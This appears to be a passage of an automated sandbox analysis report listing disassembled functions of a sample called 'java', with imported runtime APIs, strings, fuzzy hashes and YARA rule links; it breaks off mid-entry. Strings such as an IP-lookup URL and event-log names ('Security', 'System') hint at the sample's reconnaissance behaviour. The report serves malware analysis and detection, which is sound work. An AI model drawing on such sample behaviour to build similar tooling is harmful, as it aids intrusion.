API ID: _invalid_parameter_noinfo_noreturnmemmove$Concurrency::cancel_current_task$?out@?$codecvt@_Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 525765215-0
Opcode ID: c6cdeb64eca4f1f961e730b4080fa50bdbe3b7e8eb71886a262a1a5eee0e9623
Instruction ID: c0eb847db99d27918d8ad98ea4f41f5a29fc1fcfb873de9496dc676edcac02ef
Opcode Fuzzy Hash: c6cdeb64eca4f1f961e730b4080fa50bdbe3b7e8eb71886a262a1a5eee0e9623
Instruction Fuzzy Hash: D2B1E362F18B418AFF20CBA4D1542EC2362EB65798F485231EE6DA7BD9DE3CD045C390

Function 00007FF65E1FB470 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB53E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB58D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB5CC
__std_exception_copy.VCRUNTIME140 ref: 00007FF65E1FB618
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB665

Strings

type_error, xrefs: 00007FF65E1FB4D6

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: type_error
API String ID: 450636425-1406221190
Opcode ID: 105f28b83217c533a0621a35a7ac762c2119fe9a0180d406f36b6523ef19bbb5
Instruction ID: 37910a63bdbe4dadaeb72cbd7d512faff53cad1fc5281f9e88c9dee1cfb39a31
Opcode Fuzzy Hash: 105f28b83217c533a0621a35a7ac762c2119fe9a0180d406f36b6523ef19bbb5
Instruction Fuzzy Hash: DA51C4A2F18B4295FF10CB75D6507BC2321EB657A4F045332FA6DA2AD9EE2CD585C340

Function 00007FF65E1FBFF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FC0C2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FC111
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FC150
__std_exception_copy.VCRUNTIME140 ref: 00007FF65E1FC1A0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FC1ED

Strings

type_error, xrefs: 00007FF65E1FC057

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: type_error
API String ID: 450636425-1406221190
Opcode ID: 294e30e33237f614d553a8616d03b456f925f8fa26abcf6bbcb68f5e37fb1cb1
Instruction ID: 37c37e330ca2b3612c2d577a6fb25ae4fc4d9da7d5dda5ee772c263ce7c59a77
Opcode Fuzzy Hash: 294e30e33237f614d553a8616d03b456f925f8fa26abcf6bbcb68f5e37fb1cb1
Instruction Fuzzy Hash: 1751B562E18B8294EF10CF75D6903BC2321EB647A4F445732FA6CA2AD9EF6CD194D344

Function 00007FF65E1F38C0 Relevance: 10.6, APIs: 7, Instructions: 142COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1F39AE
memmove.VCRUNTIME140 ref: 00007FF65E1F39BC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F39F5
memmove.VCRUNTIME140 ref: 00007FF65E1F3A0D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3A3F
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1F3A59
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1F3A66

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$?uncaught_exceptions@std@@Concurrency::cancel_current_taskD@std@@@std@@Osfx@?$basic_ostream@U?$char_traits@_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3994297871-0
Opcode ID: 5efb458ff86e86285e27d9c52f97ec16f8b9645881acf75e5b2c9e820c793c3f
Instruction ID: 30e01af48731139e14168217f432e1d0b6246ffd6905d08a540ff8771f814ffb
Opcode Fuzzy Hash: 5efb458ff86e86285e27d9c52f97ec16f8b9645881acf75e5b2c9e820c793c3f
Instruction Fuzzy Hash: EF41D262B09B4281EE209B26E6043B96351BF64FD0F084231EE7EAB796DF3CD4818354

Function 00007FF65E1FBD00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FBDD2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FBE21
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FBE60
__std_exception_copy.VCRUNTIME140 ref: 00007FF65E1FBEB0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FBEFD

Strings

other_error, xrefs: 00007FF65E1FBD67

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memmove$__std_exception_copy
String ID: other_error
API String ID: 450636425-896093151
Opcode ID: 31ea6dbdf5b28761d069e831836c2231da87d872b6197d28bd07c80b67e1e4fa
Instruction ID: cc1676501ab72c0b77aac99d8dc68bed154a729f35fb808e03dca5425a34d312
Opcode Fuzzy Hash: 31ea6dbdf5b28761d069e831836c2231da87d872b6197d28bd07c80b67e1e4fa
Instruction Fuzzy Hash: CD51C662E15B4195EF10CF75D6907BC2321EB647A8F445732FA6CA2AD9EF6CD180C340

Function 00007FF65E1F3710 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1F3813
memset.VCRUNTIME140 ref: 00007FF65E1F3823
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F385B
memmove.VCRUNTIME140 ref: 00007FF65E1F3865
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F38AC

Strings

https://api.ipify.org, xrefs: 00007FF65E1F3714

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmemset
String ID: https://api.ipify.org
API String ID: 1489393663-2202801394
Opcode ID: c8c14aa842574fd009ddf9e4f8489f603fb97367f0db299a64f8336e29875efc
Instruction ID: b6dcebe1dc1c8166b37f9b661a704924f19fd0cfa757202a79ff0489c2a062ef
Opcode Fuzzy Hash: c8c14aa842574fd009ddf9e4f8489f603fb97367f0db299a64f8336e29875efc
Instruction Fuzzy Hash: D941B362B09B4181EE209B12A6043AD6361BB58BD4F580335EF7D5B785DF3DE48183A4

Function 00007FF65E1F5210 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1F527A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F5300
memmove.VCRUNTIME140 ref: 00007FF65E1F5326
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F534A

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

Strings

Application, xrefs: 00007FF65E1F5212
Security, xrefs: 00007FF65E1F5216

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: Application$Security
API String ID: 2075926362-3957089671
Opcode ID: 91129967e5f474a8559f9e92a49f95da33b47701dd3b920b909fce4831cfa8d4
Instruction ID: 1edd787d3d4ff33dd315a50d51db6fe69637f69873cb5a9447730ed48b6c08bb
Opcode Fuzzy Hash: 91129967e5f474a8559f9e92a49f95da33b47701dd3b920b909fce4831cfa8d4
Instruction Fuzzy Hash: 4E31EB62B0974185EE249B5596402B92294EF24BF4F6C0730FE7D977D1DF7CE8918390

Function 00007FF65E1F21A0 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF65E1F21C0

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF65E1F2216
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF65E1F2232
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF65E1F2242
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF65E1F2251
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF65E1F2265

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: b916503ec65f24a8914a35f5d9ad6752db60bb27910833d0bf65805ffbe94532
Instruction ID: 77efe4691f9a846ddacc561a917fe9af559bcbc66ba0baca4d95a9bec9e0bae7
Opcode Fuzzy Hash: b916503ec65f24a8914a35f5d9ad6752db60bb27910833d0bf65805ffbe94532
Instruction Fuzzy Hash: DF313E32A05B4586EF20DF66F65426AB3A0FB98B80F184135DB8E53B65EF3CE094C341

Function 00007FF65E1F8E00 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 318COMMON

Download Yara Rule

APIs

_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F9168

Strings

Security, xrefs: 00007FF65E1F8E0E
System, xrefs: 00007FF65E1F8E0C

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: ExceptionThrow
String ID: Security$System
API String ID: 432778473-2661570791
Opcode ID: 34f75a92fe2883e6bef5124e5d73f19cf48c367034ce9e8187bb623e8f67000d
Instruction ID: 01578b8c4caad32f295d70011f96f48fe8b7f52b2ef0aa0546d5fc38b007cc0f
Opcode Fuzzy Hash: 34f75a92fe2883e6bef5124e5d73f19cf48c367034ce9e8187bb623e8f67000d
Instruction Fuzzy Hash: 5BC1F072A09B8186EF219F65E6403AC33A1EB64B84F088135EB9D67746EF3CD191C390

Function 00007FF65E1F8720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F893E
_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F8A51
_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F8A8F
_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F8ACD

Strings

System, xrefs: 00007FF65E1F872C

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: ExceptionThrow$_invalid_parameter_noinfo_noreturn
String ID: System
API String ID: 2822070131-3470857405
Opcode ID: 6e6eb4d2878bb9674ee793371b75d8ffaf70bd0a5a0b79eac3d4ef2fec82ea3c
Instruction ID: 533044e66634ecfe9612fc8cf0cfaff9f5a32889ed1faf0901f35635cd81eec1
Opcode Fuzzy Hash: 6e6eb4d2878bb9674ee793371b75d8ffaf70bd0a5a0b79eac3d4ef2fec82ea3c
Instruction Fuzzy Hash: ACB1D662A08B8681EF218F24D6402BD6760FBA5794F189131EBAD63696DF3CE5C1C390

Function 00007FF65E1F2A40 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F2B12

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

Part of subcall function 00007FF65E1F11C0: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF65E1F11CB

memmove.VCRUNTIME140 ref: 00007FF65E1F2B33
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F2B4F

Part of subcall function 00007FF65E1F1120: __std_exception_copy.VCRUNTIME140 ref: 00007FF65E1F1164

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F2BB5
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F2BBE

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_taskXlength_error@std@@__std_exception_copy_invalid_parameter_noinfo_noreturnmallocmemmove
String ID:
API String ID: 144170543-0
Opcode ID: e7cfce1c0d0b2e6765443c67114fc8dbc29c1e00c1e070038aa946d8ba5488e3
Instruction ID: 9a556e68644941085716d6a5fb785260219a8cacbe6f26de6ef2d43383899b9c
Opcode Fuzzy Hash: e7cfce1c0d0b2e6765443c67114fc8dbc29c1e00c1e070038aa946d8ba5488e3
Instruction Fuzzy Hash: 9D41A332B09B4281EE649F25E6403B82364FB54BA4F189631EA3D57BD6DE3CD4D6C350

Function 00007FF65E1F2670 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F2863

Strings

, xrefs: 00007FF65E1F26F3

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: ef240bb9e472c72bf3f8a87a7252f93db726828450f28ef30e14e3b6c24eb53b
Instruction ID: 468a0e8263e0c9f5e97e3019848fed4d1ce737492ce82509bcfa4aac2d485fb2
Opcode Fuzzy Hash: ef240bb9e472c72bf3f8a87a7252f93db726828450f28ef30e14e3b6c24eb53b
Instruction Fuzzy Hash: 31517F72A08B4596EF258F2AD65026C37A0FB58B90F584635EF6D977A0CF3CE4A1C350

Function 00007FF65E1FF9F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF65E1FFA25
__current_exception_context.VCRUNTIME140 ref: 00007FF65E1FFA39
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FFA41

Strings

csm, xrefs: 00007FF65E1FFA11

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 9a71d54b323909634587fecb3b0b832e45101661dec1fdc02d4fe101acb10c47
Instruction ID: 3b460932bd00ecef3e657bf424209f0d1b86f8b532ebecccccf65cc2ae798f6e
Opcode Fuzzy Hash: 9a71d54b323909634587fecb3b0b832e45101661dec1fdc02d4fe101acb10c47
Instruction Fuzzy Hash: EAF0F937605B95CACF649F21E8811AC3364FB5CB98B4D6131FA4D97755CF38D8908360

Function 00007FF65E1F5E40 Relevance: 6.4, APIs: 5, Instructions: 130COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF65E1F5E74
memmove.VCRUNTIME140 ref: 00007FF65E1F5EBD
memmove.VCRUNTIME140 ref: 00007FF65E1F5EEB
memset.VCRUNTIME140 ref: 00007FF65E1F5F02

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: a361461ebd74b817559f1ba7322bb17d22a5080eb4e1f2fdce319b824f189eee
Instruction ID: bfb6f637c7103da62fee516de014c3be35d38454e937edc248685e5a3c59dac6
Opcode Fuzzy Hash: a361461ebd74b817559f1ba7322bb17d22a5080eb4e1f2fdce319b824f189eee
Instruction Fuzzy Hash: A2412C26B297D193DF24CB28C2812AD6755FB51780F488031E7ADA7B86DF3DD915C350

Function 00007FF65E1F30A0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1F30D0
memmove.VCRUNTIME140 ref: 00007FF65E1F3192
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F31E5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F31F2

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 2075926362-0
Opcode ID: e2144259be0b6505c386b59d3feed13163a1020fd9c41315a436067efdf29a82
Instruction ID: 20cd12461cda21a70acf50038538f3822729333daeee687ee2dcd66fd8fc8e5d
Opcode Fuzzy Hash: e2144259be0b6505c386b59d3feed13163a1020fd9c41315a436067efdf29a82
Instruction Fuzzy Hash: 6C31E562B09B8284FE259B55A7003B92255AB14FE4F5C0631EE3DA77C6DE7DE4C1C3A0

Function 00007FF65E1F35A0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3682
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F36C0
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F36CA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F36FF

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 17b1863025fad19d1496731260b1b962d051594f66a05eb6238705a58c684df4
Instruction ID: a92f4805ff7feb2fb862dc14b5f85bb6f452efe33e083d109f02bf3adf7f1832
Opcode Fuzzy Hash: 17b1863025fad19d1496731260b1b962d051594f66a05eb6238705a58c684df4
Instruction Fuzzy Hash: 69310671B0978185EE209F25A60436C6355AB24BE4F5C0631EE7D9BBD6DE7CE1418360

Function 00007FF65E1FC990 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

